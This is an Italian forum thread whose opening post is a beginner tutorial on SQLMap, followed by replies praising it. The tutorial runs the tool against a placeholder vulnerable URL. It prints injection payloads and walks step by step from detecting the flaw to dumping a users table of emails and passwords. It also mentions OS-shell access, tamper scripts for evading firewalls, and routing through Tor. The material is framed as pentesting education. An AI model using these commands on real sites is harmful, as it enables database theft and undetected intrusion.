Guida Conosciamo SQLMap

syscall

Utente Emerald
21 Settembre 2013
683
43
581
475
Ultima modifica da un moderatore:
Salve popolo di Inforge :D,

volevo proporre questa mia semplice guida agli utenti che spesso decidono di avere un approccio con il mondo del penetration testing, parlando di un tool che reputo utilissimo che permette di automatizzare l'exploiting di una determinata vulnerabilita' (SQL injection), stiamo parlando di SQLmap, ma prima una breve introduzione.

Prima della continuazione tenevo a far presente che sono ben accette critiche atte a migliorare il testo tenendo comunque in considerazione che quanto leggerete e' volutamente semplificato (sopratutto gli esempi) al fine di poter dare la possibilita' a tutti di poter comprendere quanto scritto.

Il penetration testing, pentest/pentesting, e' un mondo molto complesso ed in continua evoluzione che va di pari passo con lo sviluppo di nuove tecnologie e implementazioni di sistemi, applicazioni software e hardware gia' note.

Un auditor, ovvero chi svolge attivita' di pentesting e verifiche di sicurezza, effettua delle analisi utilizzando praticamente le stesse logiche utilizzate da un attaccante, che ha come obiettivo quello di violare un determinato sistema, al fine appunto di ottenere informazioni riservate o addirittura il pieno controllo di un sistema.

Le fasi dell'attivita' di pen testing possono essere riassunte come segue:

- Raccolta delle informazioni, acquisizione dati utili riguardanti piattaforme, architetture, servizi e quant'altro utile concernenti il target

- Ricerca di vulnerabilita', utilizzando spesso tool specifici grazie ai quali e' possibile avere una panoramica delle eventuali vulnerabilita' che affligono sistemi e/o servizi.

- Exploiting, attraverso il quale e' possibile attaccare un determinato servizio/sistema sfruttande delle falle presenti all'interno di quest'ultimi.

Possiamo distinguere, in questo caso, due tipi di exploit (che per non va pronunciato "alla francese" "exsplua'", bensi' "exploit" :p)

- Exploit remoti: Atti a sfruttare delle vulnerabilita' senza aver previo accesso ad un dato sistema.
- Exploit locali: Atti in genere ad effettuare una privilege escalation dopo aver ottenuto accesso ad un dato sistema.

- Privilege Escalation, dopo aver ottenuto l'accesso ad un determinato servizio sarebbe necessario capire se e' possibile aumentarne i privilegi.

- Mantenere l'accesso, successivamente, onde evitare di ri-attaccare nuovamente il sistema con l'exploit e' necessario (e comodo) mantenere l'accesso al sistema violato.

- Attivita' di report, quando si parla di penetration testing a livello professionale, spesso il target e' pienamente consapevole di aver ricevuto degli attacchi e, pertanto, dovra' poter avere un resoconto dettagliato su cio' che si e' fatto e su cosa e' stato possibile ricavare dagli attacchi.

Detto questo, l'auditor avra' il compito di fornire un report completo dell'attivita' svolta.

Bene, dopo questa breve e volutamente concisa panoramica volta, in maniera molto generale, a riassumere in maniera del tutto teorica le fasi di un'attivita' di pentesting, passiamo la palla ad SQLmap, un tool atto all'exploiting (quindi la terza fase seguendo la logica della precedente introduzione) di un particolare tipo di vulnerabilita', sfortunatamente ancora attaulissima nel 2013: sqlinjection.

Non mi dilunghero' sulla vulnerabilita' in quanto tale, poiche' questo tutorial prevede che si abbiano gia' delle skills sull'argomento.

SQLMap e' un tool open source, per Gnu/Linux, codato in python atto ad automatizzare il controllo di una web application afflitta da SQL injection. Supporta diverti tipi di DBMS come MySql, PostreSQL, SQLLite e molti altri.

Supporta inoltre svariate tecniche di SQL Injection e permette di enumerare eventuali password hashate, utenti, tabelle, colonne e quant'altro all'interno di un database. Per ulteriori informazioni riguardo le sue potenzialita' vi rimando direttamente al sito ufficiale del progetto (sqlmap.org) e alla mailing list dedicata (https://lists.sourceforge.net/lists/listinfo/sqlmap-users).

Ipotizziamo d'esser, dopo analisi specifiche, di fronte ad una web application afflitta da SQL injection:

Codice:
appvulnerabile.ext/pagina.php?var=1

Dopo aver effettuato il download di SQLMap, direttamente dal sito ufficiale che ho scritto qualche riga piu' su, estraiamo il tarball sulla nostra macchina:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge$ ls
sqlmapproject-sqlmap-0.9-3298-g099e931.tar.gz
test_per_inforge@fujiko:~/tutorial_per_inforge$ tar xvfz sqlmapproject-sqlmap-0.9-3298-g099e931.tar.gz

Successivamente entriamo nella directory appena estratta:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge$ cd sqlmapproject-sqlmap-099e931/
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ ls
CONTRIBUTING.md  extra  plugins  README.md  sqlmapapi.py  sqlmap.py  thirdparty  udf  xml
doc              lib    procs    shell      sqlmap.conf   tamper     txt         waf

Notiamo subito il file sqlmap.py, e lanciamo il tool visualizzandone l'help:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ python sqlmap.py -h
Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)


  Target:
    At least one of these options has to be provided to set the target(s)


    -u URL, --url=URL   Target URL (e.g. "www.target.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs


  Request:
    These options can be used to specify how to connect to the target URL


    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header
    --random-agent      Use randomly selected HTTP User-Agent header
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly


  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts


    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value


  Detection:
    These options can be used to customize the detection phase


    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)


  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques


    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")


  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements


    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate


  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system


    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, meterpreter or VNC


  General:
    These options can be used to set some general working parameters


    --batch             Never ask for user input, use the default behaviour
    --flush-session     Flush session files for current target


  Miscellaneous:
    --wizard            Simple wizard interface for beginner users
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$

Le opzioni parlano da se, anche se le piu' note verranno spiegate in seguito, utilizzando -hh possiamo inoltre avere una panoramica piu' completa e dettagliata sulle potenzialita' dello strumento in questione.

Prendendo in considerazione la nostra web application vulnerabile, quale appvulnerabile.ext/pagina.php?var=1, eseguiamo un ulteriore check:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ python sqlmap.py -u "appvulnerabile.ext/pagina.php?var=1"
[*] starting at: ---

[INFO] testing connection to the target url 
[INFO] testing if the url is stable, wait a few seconds 
[INFO] url is stable 
INFO] testing if GET parameter 'var' is dynamic 
[INFO] confirming that GET parameter 'var' is dynamic 
[INFO] GET parameter 'var' is dynamic 
[INFO] heuristic test shows that GET parameter 'var' might be injectable (possible DBMS: MySQL) 
[INFO] testing sql injection on GET parameter 'var' 
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 
[INFO] GET parameter 'var' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 
[INFO] GET parameter 'var' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[INFO] testing 'MySQL > 5.0.11 stacked queries' 
[INFO] testing 'MySQL > 5.0.11 AND time-based blind' 
[INFO] GET parameter 'var' is 'MySQL > 5.0.11 AND time-based blind' injectable 
[INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' 
[INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 
GET parameter 'var' is vulnerable. Do you want to keep testing the others? [y/N] n 
sqlmap identified the following injection points with a total of 29 HTTP(s) requests: 
--- 
Place: GET 
Parameter: var 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: var=1 AND 7178=7178 
 
    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: var=1 AND (SELECT 8176 FROM(SELECT COUNT(*),CONCAT(CHAR(58,108,109,97,58),(SELECT (CASE WHEN (8176=8176) THEN 1 ELSE 0 END)),CHAR(58,115,114,114,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) 


    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: var=1 AND SLEEP(5) 

--- 
[*] shutting down at: ---

Dopo qualche secondo il tool ha individuato delle SQL injection, specificandone tipi (3, come si puo' leggere) e payload.

E' possibile inoltre ottimizzare la scansione al fine da ottenere risultati in minor tempo, utilizzando l'opzione "-o".

Specificando tale opzione diremo al programma di utilizzare:

– keep-alive (connessioni HTTP persistenti)
– null-connection (sfruttare tecniche di NULL connection: Range ed Head)
– threads (di default 3 thread, modificabile in base alle esigenze)

Dall'output precedente abbiamo inoltre acquisito la conoscenza del tipo di DBMS utilizzato dalla web application vulnerabile:

MySQL > 5.0.11

Possiamo quindi includere l'opzione "--dbms mysql" ed anche l'opzione "--dbs" per ottenere il listato degli eventuali database utilizzati dalla web application.

Utilizzando il solito esempio il nuovo comando sara' quindi:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ python sqlmap.py -u "appvulnerabile.ext/pagina.php?var=1" -o --thread 10  --dbms mysql --dbs

[INFO] the back-end DBMS is MySQL 
web server operating system: Linux --- web application technology: Apache 2.0.55, PHP 5.1.2 
back-end DBMS: MySQL 5.0 

[INFO] fetching database names 
[INFO] the SQL query used returns 2 entries 
[INFO] retrieved: information_schema 
[INFO] retrieved: nome_database 
available databases [2]: 
[*] information_schema 
[*] nome_database
[*] shutting down at: ---

Notiamo subito il database "nome_database".
Al fine di enumerare le tabelle presenti al suo interno dovremmo utilizzare le opzioni "-D" e "--tables"

Il nostro comando sara' quindi:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ python sqlmap.py -u "appvulnerabile.ext/pagina.php?var=1" -o --thread 10  --dbms mysql -D nome_database --tables

[INFO] the back-end DBMS is MySQL 
web server operating system: Linux --- web application technology: Apache 2.0.55, PHP 5.1.2 
back-end DBMS: MySQL 5.0 

[INFO] fetching tables for database 'nome_database' 
[INFO] the SQL query used returns 3 entries 
[INFO] retrieved: articoli 
[INFO] retrieved: eventi 
[INFO] retrieved: utenti 

Database: nome_database 
[3 tables] 
+-----------+ 
| articoli  | 
| eventi    | 
| utenti    |  
+-----------+
[*] shutting down at: ---

All'interno del nostro database chiamato "nome_database" abbiamo tre tabelle, salta subito all'occhio la tabella chiamata utenti, all'interno della quale potrebbero esserci informazioni utili sulle eventuali registrazioni alla web application, utenti con determinati privilegi, informazioni personali e quant'altro.

A tal proposito, e' possibile ottenere il listato della colonna d'interesse, in questo caso "utenti", utilizzando le opzioni "-T" e "--column"

Avremo quindi:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ python sqlmap.py -u "appvulnerabile.ext/pagina.php?var=1" -o --thread 10  --dbms mysql -D nome_database -T utenti --column

[INFO] the back-end DBMS is MySQL 
web server operating system: Linux --- web application technology: Apache 2.0.55, PHP 5.1.2 
back-end DBMS: MySQL 5.0 

[INFO] fetching columns for table 'utenti' on database 'nome_database' 
[INFO] the SQL query used returns 3 entries 
[INFO] retrieved: email 
[INFO] retrieved: varchar(100) 
[INFO] retrieved: nome_utente 
[INFO] retrieved: varchar(100) 
[INFO] retrieved: password
[INFO] retrieved: varchar(100) 

Database: nome_database
Table: utenti 
[3 columns] 
+-------------+--------------+ 
| Column      | Type         | 
+-------------+--------------+ 
| email         | varchar(100) | 
| nome_utente | varchar(100) | 
| password    | varchar(100) | 
+-------------+--------------+ 
[*] shutting down at: ---

Successivamente possiamo acquisire il contenuto effettuando un dump di n tuple utilizzando l'opzione "--dump" seguita da "--start n --stop n+1,2,3..."

Ad esempio:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/sqlmapproject-sqlmap-099e931$ python sqlmap.py -u "appvulnerabile.ext/pagina.php?var=1" -o --thread 10  --dbms mysql -D nome_database -T utenti --dump --start 1 --stop 10

[INFO] the back-end DBMS is MySQL 
web server operating system: Linux --- web application technology: Apache 2.0.55, PHP 5.1.2 
back-end DBMS: MySQL 5.0 

[INFO] fetching columns for table 'utenti' on database 'nome_database' 
[INFO] the SQL query used returns 2 entries 
[INFO] retrieved: email 
[INFO] retrieved: varchar(100) 
[INFO] retrieved: nome_utente 
[INFO] retrieved: varchar(100) 
[INFO] retrieved: password
[INFO] retrieved: varchar(100) 
[INFO] fetching entries for table 'utenti' on database 'nome_database' 
[INFO] retrieved: [email protected] 
[INFO] retrieved: admin 
[INFO] retrieved: password_admin 
[INFO] retrieved: [email protected] 
[INFO] retrieved: utente 
[INFO] retrieved: password_utente 

Database: nome_database 
Table: utenti
[2 entries] 

+-----------------------------------+------------------+-----------------+
| email                             | nome_utente      | password        | 
+-----------------------------------+------------------+-----------------+
| [email protected] | admin            | password_admin  |
| [email protected]                    | utente           | password_utente |
+-----------------------------------+------------------+-----------------+
[*] shutting down at: ---

Abbiamo tentato di dumpare le prime 10 tuple, in realta' ne sono presenti solo due, quella relativa all'amministratore e quella relativa ad un utente.

Nel caso in cui le password fossero hashate, SQLMap viene in nostro soccorso chiedendoci se vogliamo effettuare attacchi con dizionari specifici: "recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q]"

Poiche' SQLMap non utilizza delle tecniche che permettano di default di offuscare i payload inviati, il rischio di essere individuati da tool di analisi di request ai webserver e' notevole, pertanto sarebbe opportuno utilizzate delle tecniche di "Tampering" al fine di bypassare eventuali firewall.

Script per questo tipo di operazioni sono presenti all'interno di SQLMap ma li vedremo nel dettaglio in un'altra guida dedicata.

Va detto anche che SQLMap puo' integrarsi con il famoso Framework Metasploit e per ultimo, ma assolutamente non meno importante, si interfaccia anche con la nostra amata cipolla !

Potete tranquillamente leggervi l'help del tool (-h/-hh) per notare la presenza delle opzioni "--tor", "--tor-port", "--tor-type", "--check-tor" per capire quanto semplice ma al contempo efficaci possano essere da utilizzare.

Per concludere, volevo far presente che si possono reperire molte guide sicuramente maggiormente dettagliate sull'argomento di cui abbiamo discusso, lo scopo di questa piccola guida e' quello di far un po di chiarezza sull'utilizzo di questo bellissimo strumento in maniera elementare, affinche' tutti coloro che abbiano un minimo di conoscenza in materia possano facilmente cimentarsi per scopi didattici all'exploiting di SQLI.

Non appena avro' un po piu' di tempo e voglia, scrivero' altri tutorial sull'analisi e l'exploiting di altre vulnerabilita' piu' o meno note, ne esistono moltissime (la maggior parte delle quali capibilissime se spiegate in maniera elementare avendo obbiamente un minimo di conoscenza su determinati argomenti), toccando anche gli altri aspetti enunciati nelle fasi viste durante la fase introduttiva quali, recupero di informazioni, ricerca di vulnerabilita', privilege escalation, mantenere l'accesso e realizzazione di report.


Edit:


Come richiestomi dall'utente BlackHack00 che ringrazio nuovamente, inserisco un paragrafetto aggiuntivo per ampliare maggiormente la guida.

SQLMap e' uno strumento estremamente potente che supporta cinque tipologie di tecniche d'attacco per vulnerabilita' SQL injection.

Di default, quando si da in pasto un url relativo ad una web application, il tool, in automatico, le prova una ad una, ma se in alcuni casi sappiamo gia' cosa ci troviam di fronte, grazie magari a test precedentemente effettuati, potrebbe esser opportuno optare per l'utilizzo di una tecnica specifica.

Con un semplice -hh ad sqlmap.py possiamo notare una parte dell'help che ci fa notare quanto segue:

Codice:
  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques


    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

Salta subito all'occhio quanto detto in precedenza, ovvero che di default si presenta una situazione simile:

Codice:
 --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

SQLMap supporta quindi le seguenti tecniche di attacco:

Boolean-based blind, error-based, union query, stacked queries, time-based blind.

Usando quindi la sintassi "--technique x" possiamo far si che SQLMap effettui testo usando solo una o piu' specifiche tecniche.

Cercando di semplificare il piu' possibile, ci proviamo eh, vediamole tutte e cinque :D !!!

La Boolean-based blind, detta anche Inferential SQL injection, prevede l'utilizzo di una sequenza di istruzioni multiple atte a valutare le condizioni true/false del parametro interessato all'interno una request http.
Mettendo a confronto le risposte di entrambe le condizioni, SQLMap puo' determinare se l'Sql injection ha avuto successo o meno.

La error-based consiste principalmente nel forzare il database ad eseguire alcune operazioni il cui risultato non sara' altro che un errore. In questo caso sara' possibile estrapolare determinati dati dal database. SQLMap, con questa tecnica, automatizza il suddetto processo. (Tale tecnica funziona solo quando la web application e' stata configurata per comunicare messaggi di errore)

La union query e' una delle principali tecniche per sfruttare una vulnerabilita' di tipo SQL injection, SQLMap in questo caso non fa altro che inserire nei parametri identificati come vulnerabili della nostra web application, una query del tipo "UNION ALL SELECT 'x', null" per poi successivamente, identificare dal risultato ottenuto se l'esecuzione della query ha avuto successo.
Questa tecnica funziona quando la nostra web application vulnerabile passa direttamente l'output di una SELECT all'interno di un ciclo for o simili, in modo che ogni riga del risultato della query venga stampato a video

Con la stacked queries, detta anche piggy backing, s'intende invece la possibilita' di esecuzione di query multiple tutte in un'unica request. Se le stacked queries sono abilitate e la nostra web application risultera' vulnerabile sara' infatti possibile inserire del codice arbitrario interrompendo la query corrente ed "injectandone" una nuova !
Questa tecnica e' utile nel caso in cui si vogliano eseguire query sql diverse, ad esempio, da una SELECT, come la manipolazione di dati e di istruzioni al fine di eseguire direttamente comandi sul sistema operativo che ospita il database.

(Si tratta comunque di una tecnica avanzata che qualora vogliate approfondire vi suggerisco di consultare questo: http://defcon.org/images/defcon-17/...defcon-17-muhaimin_dzulfakar-adv_mysql-wp.pdf)

Con la time-based blind, detta anche full blind SQL injection, SQLMap sostituisce o aggiunge al parametro interessato all'interno di una request http una stringa sql che e' valida sintatticamente ma contenente una query che mette in attesa il database un determinato periodo di tempo. Mettendo a confronto quindi i tempi di risposta tra le normali request e quelle injectate in un tempo variabile, SQLMap sara' in grado di determinare se l'esecuzione delle query ha avuto successo o meno!

Note:

- Per approfondimenti teorici sul pentesting ed una panoramica maggiormente dettagliata vi rimando qui: Appunti

- Sito ufficiale del progetto: sqlmap: automatic SQL injection and database takeover tool

- Tips su SQLMap: [Hacking]Guida 10 comandi utili/tips per SqlMap | ClsHack Blog
 
Ciao grazie per aver risposto al mio post,

penso che i concetti della guida siano "standard", di pubblico dominio e si trovino un po ovunque in rete, come ho scritto sopra si possono trovare anche guide maggiormente dettagliate ovunque, non penso proprio che si possa parlare di semplice cut&paste se la terminologia, l'utilizzo o comandi si possono trovare da altre parti. Lo scopo era quello di scrivere qualcosa di semplice ed intuitivo.

Ho anche creato un account apposito sulla mia macchina per i tag code presenti nella guida ed un esempio ad-hoc esemplificativo per spiegare in maniera semplice i concetti.

In basso, sulle note, avevo comunque citato le risorse che mi sono state d'aiuto per conoscere meglio questo bel tool, che poi altri ancora li abbiano tradotti o riscritti utilizzando (come giusto che sia) la stessa terminologia e' assolutamente normale...

Non fa niente comunque, grazie per l'interessamento :)
 
Complimenti! Guida molto utile, scritta in un Italiano perfetto (lo so, dovrebbe essere lo stardard, ma pur essendo una community italiana, non lo è), e intrisa di informazioni al 100%. Sei riuscito a sintetizzare concetti , in poche righe, senza annoiare e dando un buon spunto per l'approfondimento dell'argomento...
Bravo +1!
 
Ultima modifica:
Ciao,

grazie per aver risposto al mio post, sono entusiasta del fatto che la mia breve guida ti sia piaciuta, a tal proposito, pian piano, ho voglia di continuare a scrivere di argomenti simili in maniera chiara, semplice e diretta, pertanto ti invito se ti va, a leggere di un'altra fase del pentesting (che abbiamo leggermente introdotto in questa guida), ovvero "Mantenere l'accesso".

Puoi trovarla qui: http://www.inforge.net/community/web-hacking-guide/364083-conosciamo-weevely.html

Ciao e buon approfondimento :)
 
Una critica però te la devo fare. Dovresti integrare a questa guida, un paragrafo dedicato alle varie tecniche di sql injection che SQLMap usa, perché, son capaci veramente tutti ad usare un programma di automazione, ma pochi sanno come funziona...Almeno qualche dettaglio sulle 2/3 tecniche principali...
 
  • Mi piace
Reazioni: syscall
Ultima modifica:
Ciao,
hai perfettamente ragione, ho volutamente semplificato le cose proprio per iniziare col dare una panoramica generale del tool.

Magari in futuro, dopo aver trattato anche altri punti in maniera generica, sicuramente approfondiro' gli argomenti specifici di maggior interesse :) Anche perche' considera che SQLMap automatizza anche il resto delle tecniche, ci sarebbero da aggiungere dei paragrafi di pura teoria proprio sulle tipologie di SQL injection al fine di capire come SQLMap le sfrutti veramente!

Spero che tu abbia inteso cio' che intendo dire !

Grazie comunque per la dritta ;-)